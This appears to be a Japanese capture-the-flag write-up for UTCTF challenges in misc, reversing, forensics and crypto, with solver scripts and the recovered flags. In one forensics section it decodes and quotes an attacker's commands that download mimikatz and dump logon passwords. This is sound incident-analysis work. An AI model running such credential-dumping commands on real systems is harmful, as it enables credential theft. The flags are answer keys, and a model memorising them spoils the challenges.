https://utctf.live/challenges#Hidden%20%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BDin%20Plain%20Sight-25

つまり問題タイトルの"Hidden"と"in"の間に見えないデータが含まれている。
4バイトで1文字を表しているようなので、そこで改行を入れる。

%F3%A0%81%B5
%F3%A0%81%B4
%F3%A0%81%A6
%F3%A0%81%AC
%F3%A0%81%A1
%F3%A0%81%A7
%F3%A0%81%BB
%F3%A0%80%B1
%F3%A0%81%AE
%F3%A0%81%B6
%F3%A0%80%B1
%F3%A0%81%B3
%F3%A0%80%B1
%F3%A0%81%A2
%F3%A0%81%AC
%F3%A0%80%B3
%F3%A0%81%9F
%F3%A0%81%B5
%F3%A0%81%AE
%F3%A0%80%B1
%F3%A0%81%A3
%F3%A0%80%B0
%F3%A0%81%A4
%F3%A0%80%B3
%F3%A0%81%BD

各文字に対応する値から同じ値だけ引けば、フラグになりそうだったが、うまくいかないので、調整が必要。
3バイト目が%81はそれで行けるが、%80は別の共通する値であると推測できる。
今わかっているのは、以下の文字列。

utflag{*nv*s*bl*_un*c*d*}

他は数値であると推測できる。値を16で割った余りを文字として置換すればよい。

#!/usr/bin/env python3
import urllib.parse
from Crypto.Util.number import *

encoded = '%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BD'
data = urllib.parse.unquote(encoded).encode()

key = bytes_to_long(data[:4]) - ord('u')

flag = ''
for i in range(0, len(data), 4):
    unicode = data[i:i+4]
    if unicode[2] == 0x81:
        code = bytes_to_long(unicode) - key
        flag += chr(code)
    else:
        flag += str(unicode[3] % 16)

print(flag)
utflag{1nv1s1bl3_un1c0d3}

W3W1 (Misc)

次の写真の場所をwhat3wordsで答える問題。

画像検索すると、以下のページが見つかる。
https://www.tripadvisor.jp/AttractionsNear-g30196-d144288-University_of_Texas_at_Austin-Austin_Texas.html

テキサス大学オースティン校らしい。

さらに調べると、以下のページが見つかる。
https://www.ucc-austin.org/about-1

ユニバーシティ・クリスチャン教会という建物らしい。

Google Mapで調べると、この辺りであることがわかる。
https://www.google.com/maps/place/30%C2%B017'00.9%22N+97%C2%B044'22.6%22W/@30.2835909,-97.7395987,3a,75y,137.12h,95.17t/data=!3m7!1e1!3m5!1s8Ol7D-9gRzksequzv3ajzA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-5.166386032957718%26panoid%3D8Ol7D-9gRzksequzv3ajzA%26yaw%3D137.11583368520897!7i16384!8i8192!4m4!3m3!8m2!3d30.2835909!4d-97.7395987?entry=ttu&g_ep=EgoyMDI2MDMxMS4wIKXMDSoASAFQAw%3D%3D

what3wordsでこの場所を調べる。何回かフラグをSubmitしたところ、以下の場所で正解となった。

utflag{painter.petition.saunas}

W3W2 (Misc)

次の写真の場所をwhat3wordsで答える問題。

次のようにお店の部分のみ切り抜き、画像検索する。

この結果、以下のページが見つかる。
https://ululanis-hawaiian-shave-ice-kihei.wheree.com/

場所はマウイ島のキヘイ。Google Mapで見ると、これ以上近づけないけど、この近くであることがわかる。
https://www.google.com/maps/@20.7815626,-156.4628119,3a,75y,70.54h,91.59t/data=!3m7!1e1!3m5!1szQgNPCLD6daL_I1ZOox4Kw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.5886278454339617%26panoid%3DzQgNPCLD6daL_I1ZOox4Kw%26yaw%3D70.53748480077775!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI2MDMxMS4wIKXMDSoASAFQAw%3D%3D

what3wordsでこの場所を調べる。何回かフラグをSubmitしたところ、以下の場所で正解となった。

utflag{contemporary.spots.pleased}

W3W3 (Misc)

次の写真の場所をwhat3wordsで答える問題。

水面の文字を上下逆さにすると、以下の文字に見える。

AGUAS DE LIND

この文字列で検索すると、このページが見つかった。
https://www.dreamstime.com/pra-ademar-de-barros-no-centro-das-guas-da-cidade-de-lind-ia-com-um-lago-arborizado-e-predisposi-es-hoteleiras-ao-fundo-ademar-image335664987

場所の名称は以下の通り。

Ademar de Barro square in the city of Aguas de Lindoia SP Brazil

Google Mapで調べると、近くまで行けないが、この辺りであることがわかる。
https://www.google.com/maps/@-22.4714515,-46.6297086,3a,75y,70.3h,93.6t/data=!3m7!1e1!3m5!1smwoYrc8p-Y32G4hZ_-jwtw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.6022103493299653%26panoid%3DmwoYrc8p-Y32G4hZ_-jwtw%26yaw%3D70.30331582291403!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI2MDMxMS4wIKXMDSoASAFQAw%3D%3D

what3wordsでこの場所を調べる。何回かフラグをSubmitしたところ、以下の場所で正解となった。

utflag{deliverance.herbs.heartiest}

Hour of Joy (Binary Exploitation)

Ghidraでデコンパイルする。

void print_flag(void)

{
  byte local_28 [28];
  int local_c;
  
  local_28[0] = 0x37;
  local_28[1] = 0x36;
  local_28[2] = 0x24;
  local_28[3] = 0x2e;
  local_28[4] = 0x23;
  local_28[5] = 0x25;
  local_28[6] = 0x39;
  local_28[7] = 0x24;
  local_28[8] = 0x72;
  local_28[9] = 0x30;
  local_28[10] = 0x2f;
  local_28[0xb] = 0x76;
  local_28[0xc] = 0x36;
  local_28[0xd] = 0x1d;
  local_28[0xe] = 0x31;
  local_28[0xf] = 0x36;
  local_28[0x10] = 0x30;
  local_28[0x11] = 0x73;
  local_28[0x12] = 0x2c;
  local_28[0x13] = 0x25;
  local_28[0x14] = 0x1d;
  local_28[0x15] = 0x2e;
  local_28[0x16] = 0x71;
  local_28[0x17] = 0x76;
  local_28[0x18] = 0x29;
  local_28[0x19] = 0x71;
  local_28[0x1a] = 0x26;
  local_28[0x1b] = 0x3f;
  for (local_c = 0; local_c < 0x1c; local_c = local_c + 1) {
    putchar((uint)(local_28[local_c] ^ 0x42));
  }
  putchar(10);
  return;
}

XORしてフラグを復号する。

>>> enc = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x24, 0x72, 0x30, 0x2f, 0x76, 0x36, 0x1d, 0x31, 0x36, 0x30, 0x73, 0x2c, 0x25, 0x1d, 0x2e, 0x71, 0x76, 0x29, 0x71, 0x26, 0x3f]
>>> k = 0x42
>>> ''.join([chr(c ^ k) for c in enc])
'utflag{f0rm4t_str1ng_l34k3d}'
utflag{f0rm4t_str1ng_l34k3d}

Rude Guard (Binary Exploitation)

Ghidraでデコンパイルする。

undefined8 secret_function(void)

{
  byte local_48 [52];
  int local_14;
  byte local_d;
  int local_c;
  
  local_d = 0x32;
  local_48[0] = 0x47;
  local_48[1] = 0x46;
  local_48[2] = 0x54;
  local_48[3] = 0x5e;
  local_48[4] = 0x53;
  local_48[5] = 0x55;
  local_48[6] = 0x49;
  local_48[7] = 0x55;
  local_48[8] = 0x47;
  local_48[9] = 6;
  local_48[10] = 0x40;
  local_48[0xb] = 0x56;
  local_48[0xc] = 0x6d;
  local_48[0xd] = 0x45;
  local_48[0xe] = 6;
  local_48[0xf] = 0x41;
  local_48[0x10] = 0x6d;
  local_48[0x11] = 0x45;
  local_48[0x12] = 1;
  local_48[0x13] = 6;
  local_48[0x14] = 0x59;
  local_48[0x15] = 0x57;
  local_48[0x16] = 0x40;
  local_48[0x17] = 0x6d;
  local_48[0x18] = 0x46;
  local_48[0x19] = 0x5a;
  local_48[0x1a] = 6;
  local_48[0x1b] = 0x5c;
  local_48[0x1c] = 0x6d;
  local_48[0x1d] = 0x5b;
  local_48[0x1e] = 0x6d;
  local_48[0x1f] = 0x46;
  local_48[0x20] = 0x5a;
  local_48[0x21] = 2;
  local_48[0x22] = 0x47;
  local_48[0x23] = 0x55;
  local_48[0x24] = 0x5a;
  local_48[0x25] = 0x46;
  local_48[0x26] = 0x4f;
  local_14 = 0x27;
  for (local_c = 0; local_c < local_14; local_c = local_c + 1) {
    putchar((uint)(local_48[local_c] ^ local_d));
  }
  return 0;
}

XORしてフラグを復号する。

>>> enc = [0x47, 0x46, 0x54, 0x5e, 0x53, 0x55, 0x49, 0x55, 0x47, 6, 0x40, 0x56, 0x6d, 0x45, 6, 0x41, 0x6d, 0x45, 1, 6, 0x59, 0x57, 0x40, 0x6d, 0x46, 0x5a, 6, 0x5c, 0x6d, 0x5b, 0x6d, 0x46, 0x5a, 2, 0x47, 0x55, 0x5a, 0x46, 0x4f]
>>> k = 0x32
>>> ''.join([chr(c ^ k) for c in enc])
'utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}'
utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}

Cold Workspace (Forensics)

$ file cold-workspace.dmp
cold-workspace.dmp: MS Windows 64bit crash dump, version 0.0, MachineImageType 0x74656874, 1967416169 processors, DumpType (0x9cc0e99a), 6935312830061707549 pages
$ strings cold-workspace.dmp | grep -i flag
cmdline(4608): powershell.exe -ExecutionPolicy Bypass -File C:\Users\analyst\Desktop\encrypt_flag.ps1
%$bytes = [System.IO.File]::ReadAllBytes('C:\Users\analyst\Desktop\flag.jpg')
Remove-Item C:\Users\analyst\Desktop\flag.jpg
Set-Content C:\Users\analyst\Desktop\flag.enc $env:ENCD
MFT: C:\Users\analyst\Desktop\flag.enc

可読文字列に関係ありそうなものがないかを探す。

$ strings -n 10 cold-workspace.dmp
                :
%$bytes = [System.IO.File]::ReadAllBytes('C:\Users\analyst\Desktop\flag.jpg')
$key = [byte[]](0..31)
$iv = [byte[]](0..15)
# actual key/iv allocated at runtime, serialized to env vars
$env:ENCD = '<ciphertext b64>'
$env:ENCK = '<key b64>'
$env:ENCV = '<iv b64>'
Remove-Item C:\Users\analyst\Desktop\flag.jpg
Set-Content C:\Users\analyst\Desktop\flag.enc $env:ENCD
vol2 windows.envars output
PID    Process         Variable   Value
4608   powershell.exe  ENCD       S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9...<truncated>
4608   powershell.exe  TEMP       C:\Users\analyst\AppData\Local\Temp
                :
4ENV_BLOCK_START::PID=4608::powershell.exe::ENCD=S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5
ENCK=Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU=
ENCV=xXpGwuoqihg/QHFTM2yMxA==
                :

このENCDが暗号データ、ENCKが鍵、ENCVがIVのbase64エンコードデータとして復号し、含まれるフラグを抽出する。

#!/usr/bin/env python3
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re

ct = 'S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5'
key = 'Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU='
iv = 'xXpGwuoqihg/QHFTM2yMxA=='

ct = b64decode(ct)
key = b64decode(key)
iv = b64decode(iv)

cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16)

pattern = b'(utflag{\w+})'
m = re.search(pattern, pt)
flag = m.group(1).decode()
print(flag)
utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s}

Half Awake (Forensics)

No.36のパケットだけ、サイズが大きく、ZIPらしきデータが含まれているので、エクスポートし、解凍する。

$ unzip 36.zip  
Archive:  36.zip
  inflating: stage2.bin              
  inflating: readme.txt
$ cat readme.txt  
not everything here is encrypted the same way
$ xxd -g 1 stage2.bin                  
00000000: 75 c3 66 db 61 d0 7b df 34 db 66 e8 61 c0 34 dc  u.f.a.{.4.f.a.4.
00000010: 33 e8 73 84 33 e8 74 df 33 e8 70 c5 30 c3 30 d4  3.s.3.t.3.p.0.0.
00000020: 30 db 5f c3 72 86 63 dc 7d                       0._.r.c.}

偶数インデックスの文字は暗号化されていないが、奇数インデックスの文字は暗号化されているようだ。
フラグが"utflag{"から始まることを前提にXORされていると推測し、鍵を確認してみる。

>>> ord('t') ^ 0xc3
183
>>> ord('l') ^ 0xdb
183
>>> ord('g') ^ 0xd0
183

どうやら183とXORすればよさそう。これを踏まえて復号する。

#!/usr/bin/env python3
with open('stage2.bin', 'rb') as f:
    enc = f.read()

flag = ''
for i in range(len(enc)):
    if i % 2 == 0:
        flag += chr(enc[i])
    else:
        flag += chr(enc[i] ^ 183)
print(flag)
utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck}

Last Byte Standing (Forensics)

DNSの通信で最後にExtraneous Dataが1バイトだけ追加されている。追加データは"0"または"1"になっているので、2進数としてデコードする。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('last-byte-standing.pcap')

b_data = ''
for p in packets:
    if p.haslayer(DNS) and p.haslayer(Raw):
        b_data += p[Raw].load.decode()

flag = ''
for i in range(0, len(b_data), 8):
    flag += chr(int(b_data[i:i+8], 2))
    if flag[-1] == '}':
        break

print(flag)
utflag{d1g_t0_th3_l4st_byt3}

Silent Archive (Forensics)

File1の中のファイルを見てみる。画像は同じもののようだが、ファイルのハッシュ値が異なる。

$ tail -n 8 cam_300.jpg
---BEGIN-TELEMETRY---
TRACE_SEGMENT=A1f9z_Qp39_Xx2
cache_blob=q9A1eR2u4T6o8P0s
noise=R0xjODlhAQABAIAAAP///////ywAAAAAAQABAAACAkQBADs=
dbg_ptr=7f3c2d1a9b887766554433221100ffaa
cam_sig=ZXlKaGJHY2lPaUpJVXpJMU5pSjkuLi4
AUTH_FRAGMENT_B64:QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz
---END-TELEMETRY---
$ tail -n 8 cam_301.jpg
---BEGIN-TELEMETRY---
TRACE_SEGMENT=A1f9z_Qp39_Xx2
cache_blob=q9A1eR2u4T6o8P0s
noise=R0xjODlhAQABAIAAAP///////ywAAAAAAQABAAACAkQBADs=
dbg_ptr=7f3c2d1a9b887766554433221100ffaa
cam_sig=ZXlKaGJHY2lPaUpJVXpJMU5pSjkuLi4
AUTH_FRAGMENT_B64:MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh
---END-TELEMETRY---

AUTH_FRAGMENTのbase64文字列をデコードする。

$ echo QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz | base64 -d                        
Always_check_both_images
$ echo MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh | base64 -d
0r4ng3_ArCh1v3_T4bSp4ce!

File2の方はtarアーカイブが何重にもなっているので、スクリプトで解凍する。

#!/usr/bin/env python3
import subprocess

cmd_untar = 'tar xvf %s'

for i in range(999, 0, -1):
    fname = '%d.tar' % i
    cmd = cmd_untar % fname
    subprocess.check_output(cmd.split(' '))

1.tarを解凍すると、Noo.txtが展開されるが、実体はzipファイルで、パスワードがかかっている。
こちらのパスワードで解凍できて、NotaFlag.txtとnotes.mdが展開された。

0r4ng3_ArCh1v3_T4bSp4ce!

NotaFlag.txtの内容はスペースとタブで構成されている。各行でスペースを"0"、タブを"1"としてデコードする。

#!/usr/bin/env python3
with open('NotaFlag.txt', 'r') as f:
    lines = f.read().splitlines()

flag = ''
for line in lines:
    code = line.replace(' ', '0').replace('\t', '1')
    flag += chr(int(code, 2))
print(flag)
utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3}

Landfall (Forensics)

権限昇格のための認証情報を取得するために実行したコマンドを知る必要がある。
C\Users\jon\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtを見てみる。
powershellでbase64文字列を指定してコマンド実行しているので、デコードしていく。

$ echo dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== | base64 -d
whoami /all
$ echo YwBkACAARABvAHcAbgBsAG8AYQBkAHMA | base64 -d
cd Downloads
$ echo dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwAA== | base64 -d
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
$ echo dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwACAALQBPACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA | base64 -d
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -O mimikatz.zip
$ echo RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA | base64 -d
Expand-Archive mimikatz.zip
$ echo QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA== | base64 -d
C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Checkpoint Aのパスワードはエンコード部分のMD5ということなので、算出する。

$ echo -n QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA== | md5sum
00c8e4a884db2d90b47a4c64f3aec1a4  -

パスワード 00c8e4a884db2d90b47a4c64f3aec1a4 で解凍すると、展開されたflag.txtにフラグが書いてあった。

utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll}

Watson (Forensics)

攻撃者が削除した機密プロジェクト情報を含むWord文書のプロジェクト名がCheckpoint Aのパスワード。
C\$Recycle.Bin\S-1-5-21-47857934-2514792372-2285641962-500を見ると、$R07YGFU.docxがある。このファイルを開くと、プロジェクト名は以下であることがわかる。

HOOKEM

パスワード HOOKEM でcheckpointA.zipを解凍すると、展開されたA.txtに以下のように書いてあった。

pr1v473_3y3

攻撃者がインストールした疑わしい実行ファイルのSHA1ハッシュがCheckpoint Bのパスワード。
C\Windows\AppCompat\Programs\Amcache.hve、Amcache.hve.LOG1、Amcache.hve.LOG2を取り出し、AmcacheParserで解析する。

>AmcacheParser -f Amcache.hve --csv out
AmcacheParser version 1.5.2.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/AmcacheParser

Command line: -f Amcache.hve --csv out

Two transaction logs found. Determining primary log...
Primary log: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG1, secondary log: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG2
Replaying log file: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG1
Replaying log file: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG2
At least one transaction log was applied. Sequence numbers have been updated to 0x0062. New Checksum: 0x233C11A3
Two transaction logs found. Determining primary log...
Primary log: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG1, secondary log: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG2
Replaying log file: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG1
Replaying log file: D:\CTF\tools\AmcacheParser\Amcache.hve.LOG2
At least one transaction log was applied. Sequence numbers have been updated to 0x0062. New Checksum: 0x233C11A3

D:\CTF\tools\AmcacheParser\Amcache.hve is in new format!

Total file entries found: 518
Total shortcuts found: 77
Total device containers found: 15
Total device PnPs found: 182
Total drive binaries found: 358
Total driver packages found: 1

Found 74 unassociated file entry

Results saved to: out

Total parsing time: 0.388 seconds

出力されたYYYYMMDDhhmmss_Amcache_UnassociatedFileEntries.csvを確認してみる。
以下のプログラムが怪しい。

c:\users\administrator\appdata\local\ithqsu\2ga2pl\calc.exe

sha1は以下の値になっている。

67198a3ca72c49fb263f4a9749b4b79c50510155

パスワード 67198a3ca72c49fb263f4a9749b4b79c50510155 でcheckpointB.zipを解凍すると、展開されたB.txtに以下のように書いてあった。

m1551n6_l1nk
utflag{pr1v473_3y3-m1551n6_l1nk}

Sherlockk (Forensics)

攻撃者がファイルをダウンロードした完全なURLがCheckpoint Aのパスワード。
C\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\HistoryをDB Browserで開く。
downloads_url_chainsテーブルを見ると、以下の2つのURLがある。

パスワード http://pastes.io/download/nhy8LSzI でcheckpointA.zipを解凍すると、展開されたA.txtに以下のように書いてあった。

b45k3rv1ll3

攻撃者が作成した自分用のメモの内容がCheckpoint Bのパスワード。
C\$Recycle.Bin\S-1-5-21-47857934-2514792372-2285641962-500\$RR5UOFV.txtを見ると、以下のように書いてあった。

Password is longhornHACK123*

これは直接関係なさそう。

C\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinationsに7個のファイルがある。
"Note"を探してみる。

$ strings *.automaticDestinations-ms | grep -i note
Administrator Notes.txt
C:\Users\Administrator\Documents\Administrator Notes.txt
Notes.txt
C:\Users\Administrator\Documents\Notes.txt
NOTETO~1.TXT
C:\Users\Administrator\Documents\Note To Self.txt
Note.txt
C:\Users\Administrator\Documents\Note.txt

C\$MFTをバイナリエディタで見てみる。

Administrator Notes.txtの近くにGroceryListがあって、以下の3つが書かれている。

  • Lettuce
  • Cabbage
  • ?arrots

3つ目は"Carrots"の文字列が壊れたものと推測できる。パスワードはハイフンで区切られた3ワードなので、以下であると推測できる。

Lettuce-Cabbage-Carrots

パスワード Lettuce-Cabbage-Carrots でcheckpointB.zipを解凍すると、展開されたB.txtに以下のように書いてあった。

3l3m3n74ry

攻撃者がダウンロードしたファイル列挙スクリプトファイルのMD5ハッシュがCheckpoint Cのパスワード。
C\Users\Administrator\Downloadsにscript.sh.shがある。

$ md5sum script.sh.sh                                                                    
e86475121f231c02c4a63bd0915b9dff  script.sh.sh

パスワード e86475121f231c02c4a63bd0915b9dff でcheckpointC.zipを解凍すると、展開されたC.txtに以下のように書いてあった。

4r7hur_c0n4n_d0yl3
utflag{b45k3rv1ll3-3l3m3n74ry-4r7hur_c0n4n_d0yl3}

Fortune Teller (Cryptography)

LCGで4つ出力されている。その計算は以下のようになる。

・x_1 = (a * x_0 + c) % m
・x_2 = (a * x_1 + c) % m
・x_3 = (a * x_2 + c) % m
※m = 4294967296

つまり以下のようになる。

・(x_2 - x_1) % m = a * (x_1 - x_0) % m
・(x_3 - x_2) % m = a * (x_2 - x_1) % m

これから以下のようにしてaを算出できる。

a = (x_3 - x_2) * inverse(x_2 - x_1, m) % m

aがわかれば、bは簡単に算出できる。これでx_5は算出できるので、XOR鍵はわかり、フラグを復号することができる。

#!/usr/bin/env python3
from Crypto.Util.number import *

m = 4294967296
output = [4176616824, 2681459949, 1541137174, 3272915523]

a = (output[3] - output[2]) * inverse(output[2] - output[1], m) % m
c = (output[1] - a * output[0]) % m

for i in range(3):
    assert output[i + 1] == (a * output[i] + c) % m

x_5 = (a * output[3] + c) % m

key = long_to_bytes(x_5)

ct = '3cff226828ec3f743bb820352aff1b7021b81b623cff31767ad428672ef6'
ct = bytes.fromhex(ct)

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ key[i % len(key)])
print(flag)
utflag{pr3d1ct_th3_futur3_lcg}

Smooth Criminal (Cryptography)

DLPの問題。そのままSageMathに解かせる。

#!/usr/bin/env sage
from Crypto.Util.number import *

p = 1363402168895933073124331075716158793413739602475544713040662303260999503992311247861095036060712607168809958344896622485452229880797791800555191761456659256252204001928525518751268009081850267001
g = 223
h = 1009660566883490917987475170194560289062628664411983200474597006489640893063715494610197294704009188265361176318190659133132869144519884282668828418392494875096149757008157476595873791868761173517

R = IntegerModRing(p)
x = discrete_log(R(h), R(g))

flag = long_to_bytes(x).decode()
print(flag)
utflag{sm00th_cr1m1nal_caught}

Oblivious Error (Cryptography)

v = (x0 + (int(k) ^ e)) % N

eは常に65537のため、上記の式でkに65537を指定すると、以下のようになる。

v = x0 % N

実際に値を取得してみる。

$ nc challenge.utctf.live 8379
Here's your entrance key!
N = 9082574901218858765173141426181299721866430599070508299733787746149863811019282376626195971811934123792815377654764233521678142428847085439717948964002167
e = 65537
Here are my random x values!
x0: 5846759317393111389700754716202567788786354739735993321630598844963418911132250488499913851995914523455439146918253131933268571920847123965349900067628907
x1: 1085468229167412910919933626181009345147476505499402517062335940242727195463957647445175047025918462040065551215127298754147790005436072645552513719585670
Please pick a value k.
65537
Here are your messages!
Message 1:  14614909182015656433423375395560694783276217129595018028195683192534693780147751705041670356317823574397
Message 2:  15034558957069866386460129072757608899772740794707141811012998693511729083364267590575401693134227028539838826164550835998740387023135888448986728768686
>>> from Crypto.Util.number import long_to_bytes
>>> m0 = 14614909182015656433423375395560694783276217129595018028195683192534693780147751705041670356317823574397
>>> long_to_bytes(m0)
b'hgsynt{Pbatengf! Lbh pnhtug n erq ureevat!}'

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 13:
utflag{Congrats! You caught a red herring!}

これはフラグとして通らなかった。

v = x1にできれば、Message2がm1になるはず。

x1 = (x0 + (int(k) ^ e)) % N
int(k) ^ e = (x1 - x0) % N

つまり k = (x1 - x0) ^ eを指定すればよい。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.utctf.live', 8379))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
N = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(' ')[-1])

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
x0 = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
x1 = int(data.split(' ')[-1])

k = (x1 - x0) ^ e

data = recvuntil(s, b'\n').rstrip()
print(data)
print(k)
s.sendall(str(k).encode() + b'\n')

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
m1 = int(data.split(' ')[-1])
msg = long_to_bytes(m1).decode()
print(msg)

実行結果は以下の通り。

Here's your entrance key!
N = 7501235978206898799828407587751754755775628567612475838360160085219461600818948605783986425380812632955677500487405572701384190670058077316024856140358633
e = 65537
Here are my random x values!
x0: 5630180342354153227686228951680043720739434183949857241672016597199938592420072691716664725254899969118851596623205215790707255476477928278761486819512574
x1: 2128691349061094619911257167744812385263374406405556539443544963047324494925095188205096486175076617865371943329720882533928196346736537733319593698061219
Please pick a value k.
-3501488993293058607774971783935231335476059777544300702228471634152614097494977503511568239079823351253479653293484333256779059129741390545441893121516892
Here are your messages!
Message 1:  5102555734502354553066218556748384983559172538849803910954404518015475649626723790930871726173763788783017544062534115119276225359582363622289374923383673
